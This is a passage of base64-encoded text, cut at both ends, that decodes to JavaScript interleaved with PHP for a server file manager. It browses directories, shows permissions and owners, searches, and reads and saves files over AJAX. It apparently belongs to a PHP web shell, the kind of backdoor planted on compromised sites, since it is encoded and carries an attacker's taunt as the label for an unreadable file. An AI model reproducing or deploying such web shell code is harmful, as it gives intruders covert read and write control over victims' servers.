3ZdIDogJ3UnKSArICgocCAmIDB4MDEwMCkgPyAncicgOiAnLScpICsgKChwICYgMHgwMDgwKSA/ICd3JyA6ICctJykgKyAoKHAgJiAweDAwNDApID8gKChwICYgMHgwODAwKSA/ICdzJyA6ICd4JykgOiAoKHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSkgKyAoKHAgJiAweDAwMjApID8gJ3InIDogJy0nKSArICgocCAmIDB4MDAxMCkgPyAndycgOiAnLScpICsgKChwICYgMHgwMDA4KSA/ICgocCAmIDB4MDQwMCkgPyAncycgOiAneCcpIDogKChwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpICsgKChwICYgMHgwMDA0KSA/ICdyJyA6ICctJykgKyAoKHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKSArICgocCAmIDB4MDAwMSkgPyAoKHAgJiAweDAyMDApID8gJ3QnIDogJ3gnKSA6ICgocCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKfQoKZnVuY3Rpb24gdXBkRmlsZVJvdyhyb3csIGZpbGUsIG9nbikgewogcm93LnN0eWxlLnZpc2liaWxpdHkgPSAnaGlkZGVuJzsKIHJvdy5jZWxsc1szXS5maXJzdENoaWxkLnRleHRDb250ZW50ID0gZnJtdFNpemUoZmlsZVsxXSk7CiByb3cuY2VsbHNbNF0udGV4dENvbnRlbnQgPSB1dHNUb1N0cihmaWxlWzJdKTsKIHZhciBlbG0gPSByb3cuY2VsbHNbNV0uZmlyc3RDaGlsZDsKIGVsbS5jbGFzc05hbWUgPSAnbG5rQWN0IHBybScgKyBmaWxlWzNdOwogPD9waHAgaWYoTklYKXs/PmVsbS50ZXh0Q29udGVudCA9IHBybXNUb1N0cihmaWxlWzRdKTsKIGVsbS50aXRsZSA9IChmaWxlWzRdIHwgMCkudG9TdHJpbmcoOCkuc2xpY2UoLTQpOwogZWxtID0gcm93LmNlbGxzWzZdOwogZWxtLnRleHRDb250ZW50ID0gb2duOwogZWxtLnRpdGxlID0gKGZpbGVbNV0gPT09IC0xID8gJz8nIDogZmlsZVs1XSkgKyAnLycgKyAoZmlsZVs2XSA9PT0gLTEgPyAnPycgOiBmaWxlWzZdKTsKIDw/cGhwIH1lbHNlez8+c3dpdGNoKGZpbGVbM10pIHsKICBjYXNlIDE6IGVsbS50ZXh0Q29udGVudCA9ICdyZWFkJzsKICBicmVhazsKICBjYXNlIDI6IGVsbS50ZXh0Q29udGVudCA9ICd3cml0ZSc7CiAgYnJlYWs7CiAgY2FzZSAzOiBlbG0udGV4dENvbnRlbnQgPSAncmVhZC93cml0ZSc7CiAgYnJlYWs7CiAgZGVmYXVsdDogZWxtLnRleHRDb250ZW50ID0gJ25vbmUnOwogIGJyZWFrOwogfQogPD9waHAgfT8+cm93LnN0eWxlLnZpc2liaWxpdHkgPSAndmlzaWJsZSc7Cn0KCmZ1bmN0aW9uIGZpbGxGaWxlUm93KGNlbGxzLCBicHRoLCBmaWxlLCBvZ24pIHsKIHZhciBmcHRoID0gYnB0aCArIGZpbGVbMF1bMF0sCiAgZWxtID0gY2VsbHNbMV0uZmlyc3RDaGlsZCwKICBsZW4gPSBmaWxlLmxlbmd0aDsKIGlmIChmaWxlWzFdID09PSBudWxsKSBmcHRoICs9IERTOwogY2VsbHNbMF0uZmlyc3RDaGlsZC52YWx1ZSA9IGZwdGg7CiBlbG0udGV4dENvbnRlbnQgPSBmaWxlWzBdWzFdOwogaWYgKGxlbiAlIDIgPT09IDApIHsKICBlbG0udGl0bGUgPSBjYW5vblBhdGgoZmlsZVtsZW4gLSAxXSwgYnB0aCk7CiAgZWxtLmNsYXNzTGlzdC5hZGQoJ2xuaycpOwogfQogaWYgKGZtQnVmZmVyLmluZGV4T2YoZnB0aCkgPiAtMSkgZWxtLmNsYXNzTGlzdC5hZGQoJ21ya2QnKTsKIGVsbSA9IGNlbGxzWzJdLmZpcnN0Q2hpbGQ7CiBlbG0udGl0bGUgPSBmaWxlWzBdWzBdOwogZWxtLnRleHRDb250ZW50ID0gZmlsZVswXVsyXTsKIGNlbGxzWzNdLmZpcnN0Q2hpbGQudGV4dENvbnRlbnQgPSBmcm10U2l6ZShmaWxlWzFdKTsKIGNlbGxzWzRdLnRleHRDb250ZW50ID0gdXRzVG9TdHIoZmlsZVsyXSk7CiBlbG0gPSBjZWxsc1s1XS5maXJzdENoaWxkOwogZWxtLmNsYXNzTGlzdC5hZGQoJ3BybScgKyBmaWxlWzNdKTsKIDw/cGhwIGlmKE5JWCl7Pz5lbG0udGV4dENvbnRlbnQgPSBwcm1zVG9TdHIoZmlsZVs0XSk7CiBlbG0udGl0bGUgPSAoZmlsZVs0XSB8IDApLnRvU3RyaW5nKDgpLnNsaWNlKC00KTsKIGVsbSA9IGNlbGxzWzZdOwogZWxtLnRleHRDb250ZW50ID0gb2duOwogZWxtLnRpdGxlID0gKGZpbGVbNV0gPT09IC0xID8gJz8nIDogZmlsZVs1XSkgKyAnLycgKyAoZmlsZVs2XSA9PT0gLTEgPyAnPycgOiBmaWxlWzZdKTsKIDw/cGhwIH1lbHNlez8+c3dpdGNoKGZpbGVbM10pIHsKICBjYXNlIDE6IGVsbS50ZXh0Q29udGVudCA9ICdyZWFkJzsKICBicmVhazsKICBjYXNlIDI6IGVsbS50ZXh0Q29udGVudCA9ICd3cml0ZSc7CiAgYnJlYWs7CiAgY2FzZSAzOiBlbG0udGV4dENvbnRlbnQgPSAncmVhZC93cml0ZSc7CiAgYnJlYWs7CiAgZGVmYXVsdDogZWxtLnRleHRDb250ZW50ID0gJ25vbmUnOwogIGJyZWFrOwogfQogPD9waHAgfT8+Cn0KCmZ1bmN0aW9uIGxpc3RGaWxlcyhkYXRhLCBvd25ycywgZ3JwcykgewogdmFyIGJwdGggPSBkYXRhLnAsCiAgZmlsZXMgPSBkYXRhLmYsCiAgdGJkeSA9IGVsbUJ5SWQoJ3RtcGxGaWxlc1RCb2R5JykuY29udGVudC5maXJzdENoaWxkLmNsb25lTm9kZSh0cnVlKTsKIGZvciAodmFyIHB0aHMgPSBicHRoLnNsaWNlKDAsIC0xKS5zcGxpdChEUyksIGNwdGggPSAnJywgaSA9IDAsIGMgPSBwdGhzLmxlbmd0aDsgaSA8IGM7ICsraSkgewogIGNwdGggKz0gcHRoc1tpXSArIERTOwogIHRiZHkucm93c1swXS5jZWxsc1swXS5hcHBlbmRDaGlsZChuZXdFbG0oJ2EnLCB7CiAgIGhyZWY6ICcjJyArIGNwdGgsCiAgIGNsYXNzTmFtZTogJ3NwblB0aCcsCiAgIHRleHRDb250ZW50OiBwdGhzW2ldICsgRFMsCiAgfSkpOwogIHRiZHkucm93c1swXS5jZWxsc1swXS5jbGFzc0xpc3QuYWRkKCdwcm0nICsgZGF0YS5tKTsKIH0KIHRiZHkucm93c1sxXS5jZWxsc1swXS5maXJzdENoaWxkLnZhbHVlID0gYnB0aCArICcuLic7CiBmaWxlcy5tYXAocGFyc2VOYW1lKTsKIGZpbGVzLnNvcnQoY21wckZpbGVzKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZmlsZXMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIGZpbGUgPSBmaWxlc1tpXSwKICAgcm93ID0gZWxtVG1wbEZpbGVSb3cuY2xvbmVOb2RlKHRydWUpOwogIGZpbGxGaWxlUm93KHJvdy5jZWxscywgYnB0aCwgZmlsZTw/cGhwIGlmKE5JWCllY2hvIixvd25yc1tmaWxlWzVdXSsnLycrZ3Jwc1tmaWxlWzZdXSI7Pz4pOwogIHRiZHkuYXBwZW5kQ2hpbGQocm93KTsKIH0KIGVsbVRibEZpbGVzLmFwcGVuZENoaWxkKHRiZHkpOwp9CgpmdW5jdGlvbiBsaXN0UGF0aHMoZGF0YSkgewogdmFyIHN0bCA9IGVsbVRibEZpbGVzLnN0eWxlOwogaWYgKHN0bC5kaXNwbGF5ICE9PSAnbm9uZScpIHsKICBzdGwuZGlzcGxheSA9ICdub25lJzsKICBmb3IgKHZhciBpID0gZWxtVGJsRmlsZXMudEJvZGllcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkgZWxtVGJsRmlsZXMucmVtb3ZlQ2hpbGQoZWxtVGJsRmlsZXMudEJvZGllc1tpXSk7CiAgZWxtVGJsRmlsZXMudEhlYWQucm93c1swXS5jZWxsc1swXS5maXJzdENoaWxkLmNoZWNrZWQgPSBmYWxzZTsKIH0KIGlmICgncCcgaW4gZGF0YSkgbGlzdEZpbGVzKGRhdGE8P3BocCBpZihOSVgpZWNobycsZGF0YS5vLGRhdGEuZyc7Pz4pOwogZWxzZQogIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YS5mLmxlbmd0aDsgaSA8IGM7ICsraSkgbGlzdEZpbGVzKGRhdGEuZltpXSA8P3BocCBpZihOSVgpZWNobycsZGF0YS5vLGRhdGEuZyc7Pz4pOwogc3RsLmRpc3BsYXkgPSAndGFibGUnOwp9CgpmdW5jdGlvbiBjYW5vblBhdGgocHRoLCBicHRoKSB7CiBpZiAocHRoID09PSAnJykgcmV0dXJuICcnOwogdmFyIGEgPSBbXSwKICBzID0gRFMsCiAgdiA9IHB0aC5tYXRjaChuZXcgUmVnRXhwKCdeW2EtekEtWjAtOV17Myx9Oi8vJykpOwogaWYgKHYgIT09IG51bGwpIHsKICBzID0gJy8nOwogIHYgPSB2WzBdOwogIHZhciBsZW4gPSB2Lmxlbmd0aDsKICBhLnB1c2gocHRoLnNsaWNlKDAsIHB0aFtsZW5dID09PSBzID8gbGVuIDogdiAtIDEpKTsKICBwdGggPSBwdGguc2xpY2UobGVuKTsKIH0gZWxzZSBpZiAoRFMgPT09ICcvJykgewogIGlmIChwdGhbMF0gPT09IERTKSBhLnB1c2goJycpOwogfSBlbHNlIHsKICBwdGggPSBwdGgucmVwbGFjZSgnLycsIERTKTsKICBpZiAocHRoWzFdID09PSAnOicpIHsKICAgYS5wdXNoKHB0aC5zbGljZSgwLCAyKSk7CiAgIHB0aCA9IHB0aC5zbGljZSgyKTsKICB9IGVsc2UgaWYgKHB0aC5zbGljZSgwLCAyKSA9PT0gRFMgKyBEUykgewogICBhLnB1c2goRFMpOwogICBwdGggPSBwdGguc2xpY2UoMSk7CiAgfSBlbHNlIGlmIChwdGhbMF0gPT09IERTKSBhLnB1c2goJycpOwogfQogaWYgKGEubGVuZ3RoID09PSAwKSByZXR1cm4gY2Fub25QYXRoKGJwdGggKyBwdGgsIGJwdGgpOwogdiA9IHB0aC5zcGxpdChzKTsKIGZvciAodmFyIGkgPSAwLCBsID0gdi5sZW5ndGg7IGkgPCBsOyArK2kpIHN3aXRjaCAodltpXSkgewogIGNhc2UgJyc6CiAgY2FzZSAnLic6CiAgIGJyZWFrOwogIGNhc2UgJy4uJzoKICAgaWYgKGEubGVuZ3RoID4gMSkgYS5wb3AoKTsKICAgYnJlYWs7CiAgZGVmYXVsdDoKICAgYS5wdXNoKHZbaV0pOwogICBicmVhazsKIH0KIHJldHVybiBhLmxlbmd0aCA9PT0gMSA/IGFbMF0gKyBzIDogYS5qb2luKHMpOwp9CgpmdW5jdGlvbiBvblNyY2hGaWxlcyhkaXYsIGRhdGEpIHsKIGlmICgnZScgaW4gZGF0YSkgcmV0dXJuIHVpQ2huZ01zZyhkaXYsIGRhdGEuZSwgJ0VycicpOwogaWYgKGRhdGEuZi5sZW5ndGggPT09IDApIHJldHVybiB1aUNobmdNc2coZGl2LCAnTm90aGluZyBmb3VuZCcsICdJbmYnKTsKIGxpc3RQYXRocyhkYXRhKTsKIHVpRGVsTXNnKGRpdik7Cn0KCmZ1bmN0aW9uIHNyY2hGaWxlcyhlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybVNyY2gnKSwKICBkYXRhID0gewogICBzOiBbXQogIH0sCiAgcHRocyA9IGZybS5lbGVtZW50c1swXS52YWx1ZS5zcGxpdChEUyA9PT0gJy8nID8gJzonIDogJzsnKTsKIGZvciAodmFyIGkgPSBwdGhzLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSB7CiAgdmFyIHB0aCA9IGNhbm9uUGF0aChwdGhzW2ldLCBlbG1QdGgucGxhY2Vob2xkZXIpOwogIGlmIChwdGggIT09ICcnKSBkYXRhLnMucHVzaChwdGgpOwogfQogZGF0YS5zLnNvcnQoKTsKIGZtQWp4U25kKCdTZWFyY2ggZmlsZXMnLCBvblNyY2hGaWxlcywgZGF0YSwgZnJtKTsKIHVpQ2xzTW9kYWwoZnJtKTsKfQoKZnVuY3Rpb24gdWlTcmNoRlR5cGVDaG5nZCgpIHsKIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1TcmNoJyksCiAgaXNEaXIgPSBmcm0ueS52YWx1ZSA9PSAxOwogZm9yICh2YXIgaSA9IDAsIGEgPSBbPD9waHAgaWYoTklYKWVjaG8iJ3UnLCI7Pz4gJ3onLCAndCcsICd4JywgJ3YnXTsgaSA8IDU7ICsraSkgZnJtW2FbaV1dLmRpc2FibGVkID0gaXNEaXI7Cn0KCmZ1bmN0aW9uIHVpU2h3RnJtU3JjaCgpIHsKIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1TcmNoJyksCiAgZWxtID0gZnJtLmVsZW1lbnRzWzBdOwogaWYgKGVsbS52YWx1ZSA9PT0gJycpIGVsbS52YWx1ZSA9IGVsbVB0aC5wbGFjZWhvbGRlcjsKIHVpU2h3TW9kYWwoZnJtKTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdXBkRnJtRmlsZShmcm0sIGZpbGUsIGNudG50LCBjaHJzdCkgewogaWYgKGZpbGVbMV0gIT09IG51bGwpIHsKICB2YXIgZWxtID0gZnJtLmZpcnN0Q2hpbGQuZmlyc3RDaGlsZDsKICBzd2l0Y2ggKGZpbGVbMV0pIHsKICAgY2FzZSAzOgogICAgZWxtLnRleHRDb250ZW50ID0gJ0Z1bGwgQWNjZXNzJzsKICAgIGJyZWFrOwogICBjYXNlIDI6CiAgICBlbG0udGV4dENvbnRlbnQgPSAnV3JpdGFibGUnOwogICAgYnJlYWs7CiAgIGNhc2UgMToKICAgIGVsbS50ZXh0Q29udGVudCA9ICdSZWFkIE9ubHknOwogICAgYnJlYWs7CiAgIGNhc2UgMDoKICAgIGVsbS50ZXh0Q29udGVudCA9ICdXaG8gRG8gWW91IFZvb2RvbywgQml0Y2g/JzsKICAgIGJyZWFrOwogIH0KICBlbG0uY2xhc3NOYW1lID0gJ3NwblRpdGxlIHBybScgKyBmaWxlWzFdOwogfQogZnJtLmVsZW1lbnRzWzBdLnZhbHVlID0gY250bnQ7CiB2YXIgZWxtID0gZnJtLmVsZW1lbnRzWzFdOwogZWxtLnZhbHVlID0gZmlsZVswXTsKIGVsbS5wbGFjZWhvbGRlciA9IGZpbGVbMF07CiBjaHJzdCA9IGNocnN0LnRvTG93ZXJDYXNlKCk7CiBmb3IgKHZhciBpID0gZnJtLmMub3B0aW9ucy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkKICBpZiAoZnJtLmMub3B0aW9uc1tpXS5sYWJlbC50b0xvd2VyQ2FzZSgpID09PSBjaHJzdCkgewogICBmcm0uYy5zZWxlY3RlZEluZGV4ID0gaTsKICAgYnJlYWs7CiAgfQp9CgpmdW5jdGlvbiB0YmR5QnlQYXRoKHB0aCkgewogZm9yICh2YXIgaSA9IDAsIGMgPSBlbG1UYmxGaWxlcy50Qm9kaWVzLmxlbmd0aDsgaSA8IGM7ICsraSkKICBpZiAoZWxtVGJsRmlsZXMudEJvZGllc1tpXS5yb3dzWzBdLmNlbGxzWzBdLnRleHRDb250ZW50ID09PSBwdGgpIHJldHVybiBlbG1UYmxGaWxlcy50Qm9kaWVzW2ldOwogcmV0dXJuIG51bGw7Cn0KCmZ1bmN0aW9uIGlzSW5zUG9zKGZpbGUsIGNlbGxzKSB7CiB2YXIgZkYgPSBmaWxlWzFdICE9PSBudWxsLAogIHJGID0gY2VsbHNbM10uZmlyc3RDaGlsZC50ZXh0Q29udGVudCAhPT0gJ1sgRElSIF0nOwogaWYgKGZGICYmIHJGKSB7CiAgdmFyIGJ5ID0gKGZtU29ydFswXSA8IDMgPyBmbVNvcnRbMF0gOiAxKTsKICB2YXIgZkV4dCA9IGZpbGVbMF1bYnldLAogICByRXh0ID0gY2VsbHNbYnldLmZpcnN0Q2hpbGQudGV4dENvbnRlbnQ7CiAgaWYgKGZFeHQgIT09IHJFeHQpIHJldHVybiByRXh0ID4gZkV4dDsKIH0gZWxzZSBpZiAoZkYpIHJldHVybiBmYWxzZTsKIGVsc2UgaWYgKHJGKSByZXR1cm4gdHJ1ZTsKIHJldHVybiBjZWxsc1sxXS5maXJzdENoaWxkLnRleHRDb250ZW50ID4gZmlsZVswXVsxXTsKfQoKZnVuY3Rpb24gdXBkVGJsRmlsZXMoZGF0YSwgb3ducnMsIGdycHMpIHsKIHZhciB0YmR5Q250ID0gZWxtVGJsRmlsZXMudEJvZGllcy5sZW5ndGgsCiAgYnB0aCA9IGRhdGEucCwKICBmaWxlcyA9IGRhdGEuZjsKIGlmICh0YmR5Q250ID09PSAwKSByZXR1cm47CiBmaWxlcy5tYXAocGFyc2VOYW1lKTsKIGZpbGVzLnNvcnQoY21wckZpbGVzKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZmlsZXMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIGZpbGUgPSBmaWxlc1tpXSwKICAgZnB0aCA9IGJwdGggKyBmaWxlWzBdWzBdLAogICBscHRoID0gZmlsZS5sZW5ndGggJSAyID09IDAgPyBjYW5vblBhdGgoZmlsZS5zbGljZSgtMSlbMF0sIGJwdGgpIDogbnVsbCwKICAgb2duID0gPD9waHAgZWNobyBOSVg/Im93bnJzW2ZpbGVbNV1dKycvJytncnBzW2ZpbGVbNl1dIjoiJyciOz8+LAogICBpc05vdFVwZHRkID0gdHJ1ZTsKICBpZiAoZmlsZVsxXSA9PT0gbnVsbCkgZnB0aCArPSBEUzsKICBmb3IgKHZhciB0ID0gMDsgdCA8IHRiZHlDbnQ7ICsrdCkgewogICB2YXIgdGJkeSA9IGVsbVRibEZpbGVzLnRCb2RpZXNbdF0sCiAgICByb3dzID0gdGJkeS5yb3dzLAogICAgaXNFcWxCc1B0aCA9IHJvd3NbMF0uY2VsbHNbMF0udGV4dENvbnRlbnQgPT09IGJwdGg7CiAgIGZvciAodmFyIHIgPSAyLCBuID0gcm93cy5sZW5ndGg7IHIgPCBuOyArK3IpIHsKICAgIHZhciByb3cgPSByb3dzW3JdLAogICAgIGNlbGxzID0gcm93LmNlbGxzLAogICAgIGNmcHRoID0gY2VsbHNbMF0uZmlyc3RDaGlsZC52YWx1ZSwKICAgICBjbHB0aCA9IGNlbGxzWzFdLmZpcnN0Q2hpbGQudGl0bGU7CiAgICBpZiAoaXNOb3RVcGR0ZCAmJiBpc0VxbEJzUHRoKSB7CiAgICAgaWYgKGNmcHRoID09PSBmcHRoKSB7CiAgICAgIHVwZEZpbGVSb3cocm93LCBmaWxlLCBvZ24pOwogICAgICBpc05vdFVwZHRkID0gZmFsc2U7CiAgICAgfSBlbHNlIGlmIChpc0luc1BvcyhmaWxlLCBjZWxscykpIHsKICAgICAgdmFyIHRtcGwgPSBlbG1UbXBsRmlsZVJvdy5jbG9uZU5vZGUodHJ1ZSk7CiAgICAgIGZpbGxGaWxlUm93KHRtcGwuY2VsbHMsIGJwdGgsIGZpbGUsIG9nbik7CiAgICAgIHRiZHkuaW5zZXJ0QmVmb3JlKHRtcGwsIHJvdyk7CiAgICAgIGlzTm90VXBkdGQgPSBmYWxzZTsKICAgICAgKytuOwogICAgIH0KICAgIH0KICAgIGlmIChjbHB0aCA9PT0gZnB0aCB8fCBjZnB0aCA9PT0gbHB0aCB8fCBscHRoID09PSBjbHB0aCkgdXBkRmlsZVJvdyhyb3csIGZpbGUsIG9nbik7CiAgIH0KICAgaWYgKGlzTm90VXBkdGQgJiYgaXNFcWxCc1B0aCkgewogICAgdmFyIHRtcGwgPSBlbG1UbXBsRmlsZVJvdy5jbG9uZU5vZGUodHJ1ZSk7CiAgICBmaWxsRmlsZVJvdyh0bXBsLmNlbGxzLCBicHRoLCBmaWxlLCBvZ24pOwogICAgdGJkeS5hcHBlbmRDaGlsZCh0bXBsKTsKICAgfQogIH0KIH0KfQoKZnVuY3Rpb24gdXBkVGJsRmlsZShmKSB7CiB2YXIgcG9zID0gZlswXS5zbGljZSgwLCAtMSkubGFzdEluZGV4T2YoRFMpICsgMSwKICBicHRoID0gZlswXS5zbGljZSgwLCBwb3MpLAogIG9zID0ge30sCiAgZ3MgPSB7fTsKIGZbMF0gPSBmWzBdLnNsaWNlKHBvcyk7CiA8P3BocCBpZihOSVgpez8+b3NbZls1XV0gPSBmWzddOwogZ3NbZls2XV0gPSBmWzhdOwogZi5zcGxpY2UoNywgMik7CiA8P3BocCB9Pz51cGRUYmxGaWxlcyh7CiAgcDogYnB0aCwKICBmOiBbZl0KIH0sIG9zLCBncyk7Cn0KCmZ1bmN0aW9uIG9uU2F2ZUZpbGUoZGl2LCBkYXRhLCBjaHJzdCkgewogaWYgKHR5cGVvZiBkYXRhICE9PSAnc3RyaW5nJykgcmV0dXJuIHVpQ2huZ01zZyhkaXYsICJDYW4ndCBzIiArIGRpdi5jaGlsZE5vZGVzWzFdLm5vZGVWYWx1ZS5zbGljZSgxLCAtMSkgKyBkYXRhLmUsICdFcnInKTsKIHZhciBwb3MgPSBkYXRhLmxhc3RJbmRleE9mKCdceDAzXHgxRScpLAogIGZpbGU7CiBzd2l0Y2ggKGRhdGFbcG9zICsgMl0pIHsKICBjYXNlICdceDA2JzoKICAgZmlsZSA9IEpTT04ucGFyc2UoZGF0YS5zbGljZShwb3MgKyAzKSk7CiAgIHVwZEZybUZpbGUodGhpcywgW2ZpbGVbMF0sIGZpbGVbM11dLCBkYXRhLnNsaWNlKDAsIHBvcyksIGNocnN0KTsKICAgdWlEZWxNc2coZGl2KTsKICAgYnJlYWs7CiAgY2FzZSAnXHgxNSc6CiAgIGZpbGUgPSBKU09OLnBhcnNlKGRhdGEuc2xpY2UocG9zICsgMykpOwogICB1aUNobmdNc2coZGl2LCAnRmlsZSAnICsgZmlsZVswXSArICIgc3VjY2Vzc2Z1bCBzYXZlZCBidXQgY2FuJ3QgcmVhZCBub3ciLCAnSW5mJyk7CiAgIGJyZWFrOwogIGRlZmF1bHQ6CiAgIHVpTmV0RXJyTXNnKGRpdik7CiAgIHJldHVybiBmYWxzZTsKICAgYnJlYWs7CiB9CiB1cGRUYmxGaWxlKGZpbGUpOwp9CgpmdW5jdGlvbiBzYXZlRmlsZShlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGZybSA9IGUudGFyZ2V0LAogIHB0aCA9IGNhbm9uUGF0aChmcm0uZWxlbWVudHNbMV0udmFsdWUsIGVsbVB0aC5wbGFjZWhvbGRlcik7CiBmbUFqeFNuZCgnU2F2ZSBmaWxlIGFzICcgKyBwdGgsIG9uU2F2ZUZpbGUsIHsKICB3OiBwdGgKIH0sIGZybSwgZnJtLmMudGV4dFZhbHVlKTsKfQoKZnVuY3Rpb24gb25SbGRGaWxlKGRpdiwgZGF0YSwgY2hyc3QpIHsKIGlmICh0eXBlb2YgZGF0YSAhPT0gJ3N0cmluZycpIHJldHVybiB1aUNobmdNc2coZGl2LCAiQ2FuJ3QgcmVhZCBmaWxlICIgKyBkaXYuY2hpbGROb2Rlc1sxXS5ub2RlVmFsdWUuc2xpY2UoNSwgLTIpICsgZGF0YS5lLCAnRXJyJyk7CiB2YXIgcG9zID0gZGF0YS5sYXN0SW5kZXhPZignXHgwM1x4MUUnKSwKICBmaWxlOwogc3dpdGNoIChkYXRhW3BvcyArIDJdKSB7CiAgY2FzZSAnXHgwNic6CiAgIGZpbGUgPSBKU09OLnBhcnNlKGRhdGEuc2xpY2UocG9zICsgMykpOwogICB1cGRGcm1GaWxlKHRoaXMsIGZpbGUsIGRhdGEuc2xpY2UoMCwgcG9zKSwgY2hyc3QpOwogICB1aURlbE1zZyhkaXYpOwogICBicmVhazsKICBjYXNlICdceDE1JzoKICAgZmlsZSA9IEpTT04ucGFyc2UoZGF0YS5zbGljZShwb3MgKyAzKSk7CiAgIHVpQ2huZ01zZyhkaXYsICJDYW4ndCByZWFkIGZpbGUgIiArIGZpbGVbMF0sICdJbmYnKTsKICAgYnJlYWs7CiAgZGVmYXVsdDoKICAgdWlOZXRFcnJNc2coZGl2KTsKICAgcmV0dXJuIGZhbHNlOwogICBicmVhazsKIH0KfQoKZnVuY3Rpb24gcmxkRmlsZShlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGZybSA9IGUudGFyZ2V0LnBhcmVudE5vZGUucGFyZW50Tm9kZSwKICBwdGggPSBmcm0uZWxlbWVudHNbMV0ucGxhY2Vob2xkZXI7CiBmcm0udC52YWx1ZSA9ICcnOwogaWYgKGZybS5maXJzdENoaWxkLmZpcnN0Q2hpbGQudGV4dENvbnRlbnQgIT09ICdOZXcgRmlsZScpIGZtQWp4U25kKCdSZWxvYWQgZmlsZSAnICsgcHRoLCBvblJsZEZpbGUsIHsKICBnOiBwdGgKIH0sIGZybSk7Cn0KCmZ1bmN0aW9uIHJsZEZpbGVBcyhlKSB7CiBpZiAoZS50YXJnZXQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmVsZW1lbnRzWzFdLnBsYWNlaG9sZGVyICE9PSAnJyAmJiBjb25maXJtKCdEbyB5b3Ugd2FudCB0byByZWxvYWQgdGhpcyBmaWxlIHdpdGggc2VsZWN0ZWQgY2hhcnNldD8nKSkgcmxkRmlsZShlKTsKfQoKZnVuY3Rpb24gdWlTaHdGcm1GaWxlKGZpbGUsIGNudG50LCBjaHJzdCkgewogdmFyIGZybSA9IGVsbUJ5SWQoJ3RtcGxGcm1GaWxlJykuY29udGVudC5maXJzdENoaWxkLmNsb25lTm9kZSh0cnVlKTsKIHVwZEZybUZpbGUoZnJtLCBmaWxlLCBjbnRudCwgY2hyc3QpOwogZWxtQnlJZCgnZGl2V25kd3MnKS5hcHBlbmRDaGlsZChmcm0pOwogdWlTaHdNb2RhbChmcm0pOwp9CgpmdW5jdGlvbiBvbkdvVG8oZGl2LCBkYXRhLCBjaHJzdCkgewogaWYgKHR5cGVvZiBkYXRhID09PSAnc3RyaW5nJykgewogIHZhciBwb3MgPSBkYXRhLmxhc3RJbmRleE9mKCdceDAzXHgxRScpOwogIHN3aXRjaCAoZGF0YVtwb3MgKyAyXSkgewogICBjYXNlICdceDA2JzoKICAgIHVpU2h3RnJtRmlsZShKU09OLnBhcnNlKGRhdGEuc2xpY2UocG9zICsgMykpLCBkYXRhLnNsaWNlKDAsIHBvcyksIGNocnN0KTsKICAgIHVpRGVsTXNnKGRpdik7CiAgICBicmVhazsKICAgY2FzZSAnXHgxNSc6CiAgICB1aUNobmdNc2coZGl2LCAiQ2FuJ3Qgb3BlbiAiICsgZGF0YS5zbGljZShwb3MgKyAzKSwgJ0VycicpOwogICAgYnJlYWs7CiAgIGRlZmF1bHQ6CiAgICB1aU5ldEVyck1zZyhkaXYpOwogICAgYnJlYWs7CiAgfQogfSBlbHNlIHsKICBpZiAoZGF0YS5mLmxlbmd0aCA9PT0gMCAmJiAoZGF0YS5tID09PSAwIHx8IGRhdGEubSA9PT0gMikpIHVpQ2huZ01zZyhkaXYsICJDYW4ndCByZWFkIGRpciAiICsgZGF0YS5wLCAnRXJyJyk7CiAgZWxzZSB7CiAgIGVsbVB0aC52YWx1ZSA9IGRhdGEucDsKICAgZWxtUHRoLnBsYWNlaG9sZGVyID0gZGF0YS5wOwogICBsaXN0UGF0aHMoZGF0YSk7CiAgIHVpRGVsTXNnKGRpdik7CiAgfQogfQp9CgpmdW5jdGlvbiBnb1RvKHB0aCkgewogaWYgKHB0aCAhPT0gJycgJiYgcHRoICE9PSAnficpIHB0aCA9IGNhbm9uUGF0aChwdGgsIGVsbVB0aC5wbGFjZWhvbGRlcik7CiBmbUFqeFNuZCgnR28gJyArICgocHRoID09PSAnJyB8fCBwdGggPT09ICd+JykgPyAnaG9tZScgOiAndG8gJyArIHB0aCksIG9uR29UbywgewogIGc6IHB0aAogfSk7CiByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIHVpVGdnbFN1Yk1lbnUoZSkgewogdmFyIGRpdiA9IGUuY3VycmVudFRhcmdldC5uZXh0U2libGluZywKICBzdHlsZSA9IGRpdi5zdHlsZTsKIGlmIChzdHlsZS5kaXNwbGF5ID09PSAnYmxvY2snKSBzdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogZWxzZSB7CiAgc3R5bGUuZGlzcGxheSA9ICdibG9jayc7CiAgZGl2LmZpcnN0Q2hpbGQuZm9jdXMoKTsKIH0KfQoKZnVuY3Rpb24gbWVudUJ1dHRvbkJsdXIoZSkgewogc2V0VGltZW91dCh1aU1lbnVCdXR0b25CbHVyLCAxMCwgZS5uZXh0U2libGluZyk7Cn0KCmZ1bmN0aW9uIG1lbnVJdGVtQmx1cihlKSB7CiBzZXRUaW1lb3V0KHVpTWVudUl0ZW1CbHVyLCAxMCwgZS5wYXJlbnROb2RlKTsKfQoKZnVuY3Rpb24gdWlNZW51QnV0dG9uQmx1cihtZW51RGl2KSB7CiB2YXIgYWN0dlBybnQgPSBkb2N1bWVudC5hY3RpdmVFbGVtZW50LnBhcmVudE5vZGU7CiBpZiAoYWN0dlBybnQgIT09IG1lbnVEaXYpIG1lbnVEaXYuc3